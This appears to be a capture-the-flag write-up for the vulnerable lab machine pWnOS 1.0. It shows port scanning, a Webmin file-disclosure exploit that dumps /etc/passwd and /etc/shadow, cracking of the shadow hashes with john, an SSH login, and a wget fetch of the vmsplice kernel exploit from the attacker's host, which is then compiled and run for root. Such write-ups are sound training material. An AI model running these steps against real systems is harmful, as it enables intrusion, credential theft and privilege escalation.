

# pWnOs\_1.0

PWNOS: 1.0

## Enumeration:

Lets try to explore PWNOS\_1.0 and see whats inside.

We will nmap it and check whats there inside for us to work on.

We see hand full of ports open.

```
i7z3r0@i7z3r0:~/Desktop/vuln/pWnOs1$ sudo nmap -p- 10.10.10.103
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-06 10:15 PST
Nmap scan report for 10.10.10.103
Host is up (0.0028s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:5E:18:C9 (VMware)
```

Initially i started with port 80 with gobuster, nikto etc etc but nothing intersting.

← → ↻ 🏠 10.10.10.103/index1

## Welcome to the pWnOS homepage!

This is the official help page. If you're too big of a n00b to figure this out, enter your information below for a small hint. :)

|   |                                       |                                    |                                  |
|---|---------------------------------------|------------------------------------|----------------------------------|
| Name:                                       |                                       |                                    |                                  |
| Skillz:                                     | <input checked="" type="radio"/> n00b | <input type="radio"/> sk1ll3d n00b | <input type="radio"/> l33t hax0r |
| <input type="button" value="Please Help!"/> |                                       |                                    |                                  |

**Warning:** include() [function.include]: Failed opening "" for inclusion (include\_path='././usr/share/php:/usr/share/pear') in /var/www/index1.php on line 18

so i decided to move on to port 10000 which is a webmin port. I know this port has

vulnerabilities.

Used searchsploit and found few results. But however i am not sure about the version of this webmin app.

```
Exploit Title
-----
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal
phpMyWebmin 1.0 - 'target' Remote File Inclusion
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion
Webmin - Brute Force / Command Execution
webmin 0.91 - Directory Traversal
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing
Webmin 0.x - 'RPC' Privilege Escalation
Webmin 0.x - Code Input Validation
Webmin 1.5 - Brute Force / Command Execution
Webmin 1.5 - Web Brute Force (CGI)
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit)
Webmin 1.850 - Multiple Vulnerabilities
Webmin 1.900 - Remote Command Execution (Metasploit)
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)
Webmin 1.920 - Remote Code Execution
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (Metasploit)
Webmin 1.x - HTML Email Command Execution
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)
```

### Gaining sensitive Information:

I found so many exploit but however i wrote one exploit specifically for this webmin. Lets try if that one works.

<https://github.com/I7Z3R0/Exploit/blob/main/Webmin.py> This is the exploit link. Found it to be working and we got the /etc/passwd file and /etc/shadow.

I see three 5 users here. Since i got the etc and shadow lets try to crack the password with john. I am not sure if this will work or not but its not a harm to give it a try.

```
i7z3r0@i7z3r0:~/Desktop/vuln/pwn0s1$ python3 webmin_exploit.py 10.10.10.103 10000 http /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001:/:/home/obama:/bin/bash
osama:x:1002:1002:/:/home/osama:/bin/bash
yomama:x:1003:1003:/:/home/yomama:/bin/bash
```

```
vmware:$1$7nwi9F/D$AkdCc02UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCr0HoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
```

## Cracking Passwords:

I unshadowed the file using the john..

```
i7z3r0@i7z3r0:~/Desktop/vuln/pwn0s1$ unshadow passwd shadow > crack_passwd
```

Then i started to crack the password with rockyou.txt. Lets see if there is any hit.  
Waiting for almost more than 30 minutes.

Whoa!. Finally i got the password as vmware:h4ckm3

```
i7z3r0@i7z3r0:~/Desktop/vuln/pwn0s1$ sudo john --wordlist=/opt/rockyou/rockyou.txt crack_passwd
Loaded 4 password hashes with 4 different salts (md5crypt [MD5 32/64 X2])
Press 'q' or Ctrl-C to abort, almost any other key for status
h4ckm3          (vmware)
```

## Gaining Shell:

Lets try to login and check what happens.

Aaahaaa!. Finally a break through

```
i7z3r0@i7z3r0:/opt/rockyou$ ssh vmware@10.10.10.103
The authenticity of host '10.10.10.103 (10.10.10.103)' can't be es
RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZG
Are you sure you want to continue connecting (yes/no/[fingerprint])
Warning: Permanently added '10.10.10.103' (RSA) to the list of kno
vmware@10.10.10.103's password:
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 200

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted
applicable law.
Last login: Tue Feb 23 17:31:40 2021 from 192.168.1.106
vmware@ubuntuvm:~$
```

Lets try to check whats inside.

while checking sudo -l it was not successful. Seems like this guy doesnt have sudo rights on this computer.

```
vmware@ubuntuvm:~$ sudo -l
[sudo] password for vmware:
Sorry, try again.
[sudo] password for vmware:
Sorry, user vmware may not run sudo on ubuntuvm.
vmware@ubuntuvm:~$
```

### Priv-Esc :

I tried with Linpeas.sh, Pspy but i didn't find anything interesting so i started to do kernal exploit lets see if that works for me.

I know the perf\_swevent will work for the version ubuntu. And this version 2.6.22 which is definitely vulnerable

Fortunately there is a gcc also installed on the target machine.. This should be it for sure.



```
vmware@ubuntuvm:/tmp$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
vmware@ubuntuvm:/tmp$ which gcc
/usr/bin/gcc
```

I tried Perf\_events, dirtycow, vmsplice1 but unfortunately those kernel exploit didnt work at all.

Finally i tried vmsplice2 exploit which worked for me.

<https://www.exploit-db.com/exploits/5093>

```
vmware@ubuntuvm:/tmp$ wget "http://10.10.10.102:8000/5092.c"
--14:08:14-- http://10.10.10.102:8000/5092.c
=> `5092.c'
Connecting to 10.10.10.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,582 (6.4K) [text/plain]

100%[=====>] 6,582 --.-K/s

14:08:14 (1.13 GB/s) - `5092.c' saved [6582/6582]
```

Compiling the exploit worked like a charm.

```
vmware@ubuntuvm:/tmp$ gcc 5092.c -o 5092
vmware@ubuntuvm:/tmp$ ls
5092 5092.c linpeas.sh sqlHcMxgy vmsplice1.c
vmware@ubuntuvm:/tmp$ ./5092
```

```
-----
Linux vmsplice Local Root Exploit
By qaaz
-----
```

```
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e63000 .. 0xb7e95000
[+] root
root@ubuntuvm:/tmp#
```